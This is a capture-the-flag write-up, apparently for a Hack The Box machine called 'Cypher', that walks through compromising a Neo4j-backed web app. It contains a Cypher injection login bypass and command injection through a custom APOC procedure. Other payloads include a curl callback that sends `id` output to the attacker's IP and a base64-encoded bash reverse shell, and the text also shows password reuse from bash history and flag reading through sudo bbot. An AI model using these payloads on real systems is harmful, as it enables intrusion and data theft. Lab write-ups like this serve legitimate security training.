Writeup: Cypher
Cypher is a medium linux box.
Recon
Lets start with some initial recon
nmap -sV -sC cypher.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2025-05-01 15:14 CEST
Nmap scan report for cypher.htb (10.10.11.57)
Host is up (0.013s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be68db828e6332455446b7087b3b52b0 (ECDSA)
|_ 256 e55b34f5544393f87eb6694cacd63d23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: GRAPH ASM
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.14 seconds
We don't find many interesting surfaces just a webserver and ssh server.
When we visit the webserver we a greeted with a graph based company website. Which has a demo to requires login. Lets do some more enumeration on the webserver and see if we can find any interesting directories or files.
Enum
gobuster dir -u "http://cypher.htb" -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cypher.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2025/05/01 15:17:16 Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 4562]
/about (Status: 200) [Size: 4986]
/login (Status: 200) [Size: 3671]
/demo (Status: 307) [Size: 0] [--> /login]
/api (Status: 307) [Size: 0] [--> /api/docs]
/testing (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
Testing seems like a good place to start.
In testing we find custom-apoc-extension-1.0-SNAPSHOT.jar Does not directly
provide any useful information. It appears to be a custom APOC extension for
Neo4j, but the code does not directly seem to contain too many intersting
things:
package com.cypher.neo4j.apoc;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;
public class CustomFunctions {
@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
url = "https://" + url;
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
System.out.println("Command: " + Arrays.toString((Object[])command));
Process process = Runtime.getRuntime().exec(command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
String line;
while ((line = errorReader.readLine()) != null)
errorOutput.append(line).append("\n");
String statusCode = inputReader.readLine();
System.out.println("Status code: " + statusCode);
boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
if (!exited) {
process.destroyForcibly();
statusCode = "0";
System.err.println("Process timed out after 10 seconds");
} else {
int exitCode = process.exitValue();
if (exitCode != 0) {
statusCode = "0";
System.err.println("Process exited with code " + exitCode);
}
}
if (errorOutput.length() > 0)
System.err.println("Error output:\n" + errorOutput.toString());
return Stream.of(new StringOutput(statusCode));
}
public static class StringOutput {
public String statusCode;
public StringOutput(String statusCode) {
this.statusCode = statusCode;
}
}
}
However the url concatnation is not sanatized before being executed. So we might be able to get RCE from that.
Login
Lets try to login first to see what the app can do. If we insert a ' we get a nice error
Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash"
It seem to do neo4j queries where we are able to inject something
neo4j.exceptions.ClientError: {code: Neo.ClientError.Statement.ExternalResourceFailed} {message: Invalid URL 'http://10.10.15.14/?version=5.24.1&name=Neo4j Kernel&edition=community': Illegal character in query at index 45: http://10.10.15.14/?version=5.24.1&name=Neo4j Kernel&edition=community ()}
The query seems to be vulnerable to injections.
Injectable query
The following query is being run.
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '{input}' return h.value as hash"
We somehow want this query to return a hash we control. For example we generate the sha1 of "password":"5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" and use it as the hash.
Exploit
As a username:
admin' or 1=1 return '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' as hash;//
This should return our hash as the hash for the user "admin". With this "username" and password:password we can login.
Foothold
Now we see a intresting graph query environment. There are different queries present, one however contains a functions that we have seen before:
MATCH (n:DNS_NAME) WHERE n.scope_distance = 0 CALL custom.getUrlStatusCode(n.data) YIELD statusCode RETURN n.data, statusCode
Here it uses the custom.getUrlStatusCode function which we know can be used to
execute arbitrary code.
Let's try to get a call back to our machine.
On our machine:
python -m http.server 80
MATCH (n:DNS_NAME) WHERE n.scope_distance = 1 CALL custom.getUrlStatusCode("http://10.10.15.14 ; curl http://10.10.15.14/$(id)") YIELD statusCode RETURN n.data, statusCode
We get a call back to our machine with the id of the user running the query.
Reverse Shell
If we input & the query breaks, so we need to encode our payload. We can use
base64 to encode our payload and then decode it on the target machine. We can
also use bash to execute our payload.
On our machine:
nc -lvp 9000
Revshell with base64 encoding
MATCH (n:DNS_NAME) WHERE n.scope_distance = 1 CALL custom.getUrlStatusCode("http://10.10.15.14/ ; echo 'L3Vzci9iaW4vc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTQvOTAwMCAwPiYx+JiAvZGV2L3RjcC8xMC4xMC4xNS4xNC85MDAwIDA+JjE=' | base64 -d | bash ") YIELD statusCode RETURN n.data, statusCode
And we pop a shell!
Lets upgrade it a bit with python
python3 -c 'import pty;pty.spawn("/bin/bash")'
We however are not the user yet but are neo4j.
Our home is in var/lib/neo4j
It contains a .bash_history file with the following commands:
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK
This password might be reused so lets try it with the main user. Which we can
find in /etc/passwd. The user with uid 1000 is graphasm.
We can change user to graphasm with password: cU4btyib.20xtCMCXkBmerhK
su graphasm
password: cU4btyib.20xtCMCXkBmerhK
The password is correct!
We can get the user flag:
graphasm@cypher:~$ cat user.txt
4f0321e2faf40fef1deda785583983c1
To make it easier we login via ssh now to get a nice interactive shell.
Root
Lets first check what sudo permissions we have.
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
Bbot is probably the way to go.
It is a python script located at /opt/pipx/venvs/bbot/bin/bbot
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
~
Bbot is a osint tools that can be used to gather information about a target. It has several modules that can be used to gather different types of information.
graphasm@cypher:/tmp$ bbot -h
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
usage: bbot [-h] [-t TARGET [TARGET ...]] [-w WHITELIST [WHITELIST ...]] [-b BLACKLIST [BLACKLIST ...]]
[--strict-scope] [-p [PRESET ...]] [-c [CONFIG ...]] [-lp] [-m MODULE [MODULE ...]] [-l] [-lmo]
[-em MODULE [MODULE ...]] [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] [-ef FLAG [FLAG ...]]
[--allow-deadly] [-n SCAN_NAME] [-v] [-d] [-s] [--force] [-y] [--dry-run] [--current-preset]
[--current-preset-full] [-o DIR] [-om MODULE [MODULE ...]] [--json] [--brief]
[--event-types EVENT_TYPES [EVENT_TYPES ...]]
[--no-deps | --force-deps | --retry-deps | --ignore-failed-deps | --install-all-deps] [--version]
[-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [--custom-yara-rules CUSTOM_YARA_RULES]
Bighuge BLS OSINT Tool
options:
-h, --help show this help message and exit
Target:
-t TARGET [TARGET ...], --targets TARGET [TARGET ...]
Targets to seed the scan
It has the options to read a traget file. So lets just read to root flag. And look into the debugging output to see the flag
sudo bbot -t /root/root.txt -o /tmp/reader/ -d
And we see the flag:
Target: {'seeds': ['24baf57137b77142eba47e80d0dd5aab'],
The flag is 24baf57137b77142eba47e80d0dd5aab.
We still don't have a root shell. But that is left as an exercise for the reader.
